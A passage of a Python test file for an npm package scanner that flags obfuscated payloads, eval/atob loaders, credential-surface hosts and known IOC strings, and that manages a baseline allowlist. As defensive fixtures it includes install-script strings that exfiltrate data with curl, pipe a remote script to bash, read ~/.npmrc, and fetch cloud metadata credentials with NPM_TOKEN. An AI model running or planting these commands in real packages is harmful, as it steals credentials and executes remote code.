yaml_like = 'url: "http://h" # a yaml comment, not JS\n'
# Verify the stripper is gated on suffix (JS lexer not applied to non-JS suffixes).
assert "".endswith(snp._JS_FAMILY_SUFFIXES) is False
assert ".js" in snp._JS_FAMILY_SUFFIXES and ".json" not in snp._JS_FAMILY_SUFFIXES
# ---------------------------------------------------------------------------
# Detection survives stripping; comment-only IOC is suppressed.
# ---------------------------------------------------------------------------
_PKG = snp.PackageEntry(
name = "x",
version = "1.0.0",
resolved = "https://registry.npmjs.org/x/-/x-1.0.0.tgz",
integrity = "sha512-z",
lockfile_key = "node_modules/x",
)
_BLOB = "QWxhZGRpbg" * 240 # ~2.4 KiB base64-ish
def test_real_payload_still_flags_after_stripping():
# Obfuscated blob behind Function(), wrapped in comments that get blanked.
src = f'/* header */ var f = new Function("{_BLOB}"); f(); // tail\n'
pats = {f.pattern for f in snp.scan_text_blob(_PKG, "m.js", src)}
assert "obfuscated-blob" in pats
# eval-with-string + atob shape, comment between the two halves.
src2 = "(0,eval)(/* x */ atob('ZG8='));"
pats2 = {f.pattern for f in snp.scan_text_blob(_PKG, "m.js", src2)}
assert "js-fetch-eval" in pats2
def test_payload_entirely_in_comment_is_suppressed():
src = f'/* var f = new Function("{_BLOB}"); */ var ok = 1;'
js = snp.scan_text_blob(_PKG, "m.js", src)
assert js == [] # blanked -> clean
# Control: same bytes as non-JS (unstripped) WOULD flag.
txt = snp.scan_text_blob(_PKG, "m.txt", src)
assert any(f.pattern == "obfuscated-blob" for f in txt)
def test_ioc_in_assigned_string_survives_stripping():
# A real C2 host lives in a string literal, not a comment -> still caught.
src = 'var c = "filev2.getsession.org"; // doc note\n'
pats = {f.pattern for f in snp.scan_text_blob(_PKG, "m.js", src)}
assert "known-ioc-string" in pats
# ---------------------------------------------------------------------------
# Baseline allowlist -- suppress reviewed findings, fail on new kinds.
# ---------------------------------------------------------------------------
def _finding(
pkg,
fn,
pattern,
sev = snp.HIGH,
evidence = "",
):
return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence)
def test_norm_pkg_name_strips_version_keeps_scope():
assert snp._norm_pkg_name("@scope/pkg@1.2.3") == "@scope/pkg"
assert snp._norm_pkg_name("pkg@1.2.3") == "pkg"
assert snp._norm_pkg_name("@scope/pkg") == "@scope/pkg"
assert snp._norm_pkg_name("<root>") == "<root>"
def test_baseline_key_is_version_stable():
# Same in-package path across a version bump -> identical key. npm tarballs
# root every file at ``package/``, so the path is stable; only the version in
# the display name changes.
a = _finding("left-pad@1.0.0", "package/index.js", "obfuscated-blob")
b = _finding("left-pad@9.9.9", "package/index.js", "obfuscated-blob")
assert snp._finding_key(a) == snp._finding_key(b)
def test_baseline_key_distinguishes_same_basename_diff_dir():
# Package-relative keying: the same basename in a different directory is a
# DIFFERENT key, so a new dist/ vs src/ file is not silently suppressed.
a = _finding("pkg@1.0.0", "package/dist/index.js", "obfuscated-blob")
b = _finding("pkg@1.0.0", "package/src/index.js", "obfuscated-blob")
assert snp._finding_key(a) != snp._finding_key(b)
def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
bl = tmp_path / "bl.json"
bl.write_text(
json.dumps(
{
"version": snp._BASELINE_SCHEMA_VERSION,
"entries": [
{
"package": "aws-sdk",
"file": "package/metadata.js",
"pattern": "cred-surface-host (outbound)",
"severity": "HIGH",
}
],
}
),
encoding = "utf-8",
)
baseline = snp._load_baseline(str(bl))
listed = _finding("aws-sdk@2.0.0", "package/metadata.js", "cred-surface-host (outbound)")
# A NEW kind of finding in the SAME file is a different pattern -> not suppressed.
new_kind = _finding("aws-sdk@2.0.0", "package/metadata.js", "obfuscated-blob")
active, suppressed = snp._partition_baseline([listed, new_kind], baseline)
assert listed in suppressed
assert new_kind in active
def test_write_then_load_baseline_roundtrip(tmp_path):
bl = tmp_path / "out.json"
findings = [
_finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL),
_finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL), # dup
_finding("noise@1.0.0", "package/b.js", "js-env-token", snp.MEDIUM), # below thresh
]
n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
assert n == 1 # dedup + MEDIUM excluded
keys = snp._load_baseline(str(bl))
assert snp._finding_key(findings[0]) in keys
# MEDIUM below HIGH threshold -> not written.
assert all(k[2] != "js-env-token" for k in keys)
def test_baseline_reopens_on_changed_evidence(tmp_path):
# Same package/file/pattern but changed flagged code must reopen: the key now
# includes an evidence hash, so a new payload cannot ride a reviewed entry.
bl = tmp_path / "bl.json"
listed = _finding(
"left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
)
snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH])
baseline = snp._load_baseline(str(bl))
# The reviewed finding stays suppressed across a version bump (same evidence).
same = _finding(
"left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
)
# A changed payload under the same package/file/pattern stays active.
changed = _finding(
"left-pad@9.9.9",
"package/dist/index.js",
"obfuscated-blob",
evidence = "fetch('http://evil')",
)
active, suppressed = snp._partition_baseline([same, changed], baseline)
assert same in suppressed
assert changed in active
def test_obfuscated_blob_key_reopens_on_changed_tail():
# A large blob's evidence hash binds the full match (via a digest when the
# snippet is truncated), so changing only the payload tail reopens the key.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
head = "A" * 2300
old = f'eval("{head}{"B" * 300}")'
new = f'eval("{head}{"C" * 300}")'
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "obfuscated-blob"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
if f.pattern == "obfuscated-blob"
][0]
assert "sha256:" in of.evidence
assert of.evidence != nf.evidence
assert snp._finding_key(of) != snp._finding_key(nf)
def test_js_fetch_eval_payload_tail_reopens_key():
# The js-fetch-eval evidence digests the full containing line when the shown
# window truncates it, so a changed payload tail beyond the window reopens
# the key instead of riding the unchanged decoder head.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
head = "A" * 40
old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n"
new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n"
of = [
f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval"
][0]
nf = [
f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval"
][0]
assert "sha256:" in of.evidence
assert snp._finding_key(of) != snp._finding_key(nf)
def test_outbound_host_multiline_options_reopen():
# A multi-line outbound call binds its option/header lines, so changing the
# headers/body on a continuation line reopens the cred-surface-host key.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n"
old = url + " {headers: {a: 'old'}})\n"
new = url + " {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n"
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "cred-surface-host (outbound)"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
if f.pattern == "cred-surface-host (outbound)"
][0]
assert "sha256:" in of.evidence
assert snp._finding_key(of) != snp._finding_key(nf)
def test_outbound_host_config_multiline_object_reopens():
# A host-config object whose `{` is on a prior line still binds the whole
# object, so changing the path/headers on a following line reopens the key
# rather than riding the unchanged hostname line.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
obj = (
"const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nhttps.request(opts);\n"
)
old = obj % "/latest/meta-data/iam/security-credentials/old"
new = obj % "/latest/meta-data/iam/security-credentials/evil"
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "cred-surface-host (outbound)"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
if f.pattern == "cred-surface-host (outbound)"
][0]
assert snp._finding_key(of) != snp._finding_key(nf)
def _host_config_pkg():
return snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
def _host_finding(text):
return [
f
for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text)
if f.pattern == "cred-surface-host (outbound)"
][0]
def test_outbound_host_config_long_object_binds_tail():
# A config object longer than the backward window still binds its tail, so a
# changed payload line well below the hostname reopens (not truncated away).
filler = "\n".join(f" opt{i}: {i}," for i in range(30))
obj = (
"const opts = {\n hostname: '169.254.169.254',\n"
+ filler
+ "\n path: '%s',\n};\nrun(opts);\n"
)
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
_host_finding(obj % "/evil")
)
def test_outbound_host_config_far_opener_binds():
# The enclosing object's opener can sit well above the hostname line (a large
# options object whose `{` is many properties back). The backward scan must
# still reach it so a payload changed on an earlier property of the same object
# reopens, not just a change on the hostname line itself.
above = "\n".join(f" opt{i}: {i}," for i in range(20))
obj = (
"const opts = {\n"
+ above
+ "\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
)
changed = obj.replace("opt0: 0,", "opt0: 999,")
assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed))
def test_outbound_host_config_forward_cap_measured_from_match():
# With the opener near the backward-search limit, the forward group cap must be
# measured from the matched hostname line, not the opener, so the path that
# follows the hostname is still bound and a changed payload there reopens.
above = "\n".join(f" opt{i}: {i}," for i in range(198))
obj = (
"const opts = {\n"
+ above
+ "\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
)
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
_host_finding(obj % "/evil")
)
def test_outbound_host_multiple_contexts_all_bind():
# The same contextual host can appear in more than one outbound form. Adding a
# separate host-config request beside an already-present URL for that host must
# reopen the key, not ride the unchanged URL evidence.
base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n"
extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n"
assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra))
def test_outbound_host_config_opener_after_unmatched_closer_binds():
# A leading unmatched `}` from a preceding block (its opener outside the
# backward window) must not drive depth negative and mask the host-config
# opener that follows; the object should still bind so a changed path reopens.
pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of view
obj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
_host_finding(obj % "/evil")
)
def test_outbound_host_config_close_then_open_same_line_binds():
# Stronger than the previous case: the unmatched closer and the host-config
# opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count
# nets that line to <= 0 and drops the trailing `{`, so the group would start at
# the hostname line and a changed path could ride the unchanged-hostname key.
# Order-aware reduction keeps the opener, so the path binds and a change reopens.
obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n"
assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
_host_finding(obj % "/evil")
)
def test_outbound_host_multiline_template_literal_reopens():
# A ) inside a multi-line backtick template literal must not close the call
# early; the options object after the template binds, so a changed header
# reopens rather than riding the unchanged host (a per-line string blanker
# cannot mask a template literal that spans lines).
old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n"
new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n"
assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
def test_cred_env_lifecycle_binds_whole_body():
# cred-env-in-lifecycle evidence pins the whole script body, so a changed
# non-token line (echo safe -> curl exfil) reopens even with the token line
# unchanged.
def life(body):
pkg = snp.PackageEntry(
name = "e",
version = "1.0.0",
resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
integrity = "sha512-x",
lockfile_key = "node_modules/e",
)
text = json.dumps({"scripts": {"postinstall": body}})
return [
f
for f in snp.scan_package_json(pkg, "package/package.json", text)
if "cred-env-in-lifecycle" in f.pattern
][0]
safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe")
evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil")
assert "body-sha256:" in safe.evidence
assert snp._finding_key(safe) != snp._finding_key(evil)
def _lifecycle_finding(body, frag):
pkg = snp.PackageEntry(
name = "e",
version = "1.0.0",
resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
integrity = "sha512-x",
lockfile_key = "node_modules/e",
)
text = json.dumps({"scripts": {"postinstall": body}})
return [
f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern
][0]
def test_lifecycle_fetch_exec_bounds_body_but_reopens():
# The whole install script is bound by a digest, but the stored evidence is a
# bounded matched snippet plus that digest, not the full body, so writing the
# baseline on a multi-KiB install script stays small while a change to any line
# (even far below the fetch-exec line) reopens the finding.
pad = "# pad\n" * 5000
old = "curl https://x.sh | bash\n" + pad + "echo done_old"
new = "curl https://x.sh | bash\n" + pad + "echo done_evil"
of = _lifecycle_finding(old, "lifecycle-fetch-exec")
nf = _lifecycle_finding(new, "lifecycle-fetch-exec")
assert "body-sha256:" in of.evidence
assert len(of.evidence) < len(old) # snippet + digest, not the whole body
assert snp._finding_key(of) != snp._finding_key(nf)
def test_cred_path_lifecycle_bounds_body_but_reopens():
# cred-path-in-lifecycle is bounded the same way: a snippet around the matched
# credential path plus the whole-body digest, so a far-line change reopens
# without storing the entire script body in the baseline.
pad = "# pad\n" * 5000
old = "cat ~/.npmrc\n" + pad + "echo old"
new = "cat ~/.npmrc\n" + pad + "echo evil"
of = _lifecycle_finding(old, "cred-path-in-lifecycle")
nf = _lifecycle_finding(new, "cred-path-in-lifecycle")
assert "body-sha256:" in of.evidence
assert len(of.evidence) < len(old)
assert snp._finding_key(of) != snp._finding_key(nf)
def test_outbound_host_regex_literal_does_not_close_group_early():
# A ) inside a JS regex literal must not close the outbound call early; the
# options object after the regex binds, so a changed header reopens.
old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n"
new = old.replace("old", "evil")
assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
def test_evidence_overflow_binds_context_and_counts_all_matches():
# Every match past the display cap is still counted in the overflow digest AND
# bound by its logical-line context, so changing the payload on an over-cap line
# reopens (the digest is not just the regex match text, and the iterator is not
# truncated before reaching it).
n = snp._MAX_EVIDENCE_MATCHES
mk = lambda which: "".join(
f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n"
for i in range(n + 5)
)
e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN)
e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN)
assert "more) sha256:" in e1
assert snp._evidence_hash(e1) != snp._evidence_hash(e2)
def test_evidence_caps_match_count_with_digest_remainder():
# Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one
# digest so a huge/minified file cannot build an unbounded evidence string,
# while a changed match count past the cap still reopens.
over = snp._MAX_EVIDENCE_MATCHES + 20
base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over))
ev = snp._evidence(base, snp._JS_ENV_TOKEN)
assert "more) sha256:" in ev
assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans
less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1))
assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN))
def test_evidence_streams_overflow_count_is_exact():
# The overflow matches are streamed from finditer (not collected into a list
# before the cap), so the "(+N more)" count must still equal the exact number of
# matches past the display cap for a large input, and the shown spans stay
# bounded to the cap.
extra = 1000
total = snp._MAX_EVIDENCE_MATCHES + extra
body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total))
ev = snp._evidence(body, snp._JS_ENV_TOKEN)
import re as _re
m = _re.search(r"\(\+(\d+) more\)", ev)
assert m and int(m.group(1)) == extra # every over-cap match counted
assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded
def _ioc_pkg():
return snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-x",
lockfile_key = "node_modules/evil",
)
def test_known_ioc_evidence_binds_context_not_bare_needle():
# A known-ioc-string finding keys on the matched-line context, not the bare
# constant, so a changed adjacent fetch/exfil body on the same call reopens
# while the IOC needle stays in place.
ioc = next(iter(snp.KNOWN_IOC_STRINGS))
old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n"
new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n"
def key(text):
return [
snp._finding_key(f)
for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
if f.pattern == "known-ioc-string"
][0]
assert key(old) != key(new)
def test_always_bad_host_evidence_binds_outbound_context():
# cred-surface-host (always-bad) binds the outbound call context, so altering
# the exfil body on the same call reopens the key instead of riding the bare
# host literal.
host = snp.CRED_HOST_ALWAYS_BAD[0][0]
old = f"fetch('https://{host}/x', {{body: secretOLD}})\n"
new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n"
def key(text):
return [
snp._finding_key(f)
for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
if f.pattern == "cred-surface-host (always-bad)"
][0]
assert key(old) != key(new)
def test_outbound_host_config_reindent_is_stable():
# A formatter-only reindent of the bound continuation lines must NOT change
# the key (whitespace is normalized before the logical-line digest).
tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
loose = (
"const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"
)
assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose))
def test_evidence_preserves_intra_string_whitespace():
# Whitespace OUTSIDE string literals is normalized (reindent-stable), but
# whitespace INSIDE a literal is preserved, so a changed payload body
# (body: 'a b' -> 'a b') reopens the key instead of being erased along with
# indentation.
a = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"
b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"
assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b))
def test_outbound_cred_surface_binds_context():
# The outbound cred-surface host finding records the host WITH its URL path /
# fetch call, so changing the outbound path or headers reopens the key rather
# than riding the bare host literal.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n"
new = (
"fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', "
"{headers: steal})\n"
)
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "cred-surface-host (outbound)"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
if f.pattern == "cred-surface-host (outbound)"
][0]
assert snp._finding_key(of) != snp._finding_key(nf)
def test_load_baseline_skips_non_dict_entries(tmp_path):
# A malformed current-schema baseline (non-dict entries, or a non-object root)
# must not crash the loader; bad entries are skipped, valid ones still load.
bl = tmp_path / "bad.json"
bl.write_text(
json.dumps(
{
"version": snp._BASELINE_SCHEMA_VERSION,
"entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}],
}
),
encoding = "utf-8",
)
keys = snp._load_baseline(str(bl))
assert keys == {("p", "a.js", "x", snp._evidence_hash(""))}
# A non-object root is rejected with a warning, not a crash.
arr = tmp_path / "arr.json"
arr.write_text("[1, 2, 3]", encoding = "utf-8")
assert snp._load_baseline(str(arr)) == set()
def test_legacy_schema_baseline_is_ignored(tmp_path):
# A pre-v2 baseline stored basenames; its keys are ambiguous under
# package-relative matching, so a populated legacy file is ignored (fail
# closed) rather than silently suppressing a different same-named file.
bl = tmp_path / "legacy.json"
bl.write_text(
json.dumps(
{
"version": 1,
"entries": [
{"package": "aws-sdk", "file": "index.js", "pattern": "obfuscated-blob"}
],
}
),
encoding = "utf-8",
)
assert snp._load_baseline(str(bl)) == set()
def test_v2_baseline_migrates_by_recomputing_hash(tmp_path):
# v2 shares v3's package-relative keying, so its entries migrate (the hash is
# recomputed from stored evidence) rather than being thrown away, matching the
# Python loader. An unchanged finding stays suppressed.
bl = tmp_path / "v2.json"
evidence = "fetch('http://ok')"
bl.write_text(
json.dumps(
{
"version": 2,
"entries": [
{
"package": "left-pad",
"file": "package/dist/index.js",
"pattern": "obfuscated-blob",
"severity": snp.HIGH,
"evidence": evidence,
}
],
}
),
encoding = "utf-8",
)
finding = _finding(
"left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence
)
assert snp._finding_key(finding) in snp._load_baseline(str(bl))
def test_outbound_cred_surface_host_config_binds_full_context():
# The host-config branch captures the whole line (path + headers), so changing
# the outbound headers/body on the same hostname line reopens the key.
pkg = snp.PackageEntry(
name = "evil",
version = "1.0.0",
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
integrity = "sha512-test",
lockfile_key = "node_modules/evil",
)
path = "/latest/meta-data/iam/security-credentials/role-name"
old = (
"const opts = {hostname: '169.254.169.254', "
f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n"
)
new = (
"const opts = {hostname: '169.254.169.254', "
f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n"
)
of = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", old)
if f.pattern == "cred-surface-host (outbound)"
][0]
nf = [
f
for f in snp.scan_text_blob(pkg, "package/index.js", new)
if f.pattern == "cred-surface-host (outbound)"
][0]
assert snp._finding_key(of) != snp._finding_key(nf)
def test_committed_baseline_is_empty_and_valid():
# Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"
assert path.is_file()
doc = json.loads(path.read_text(encoding = "utf-8"))
assert doc.get("entries") == []
assert snp._load_baseline(str(path)) == set()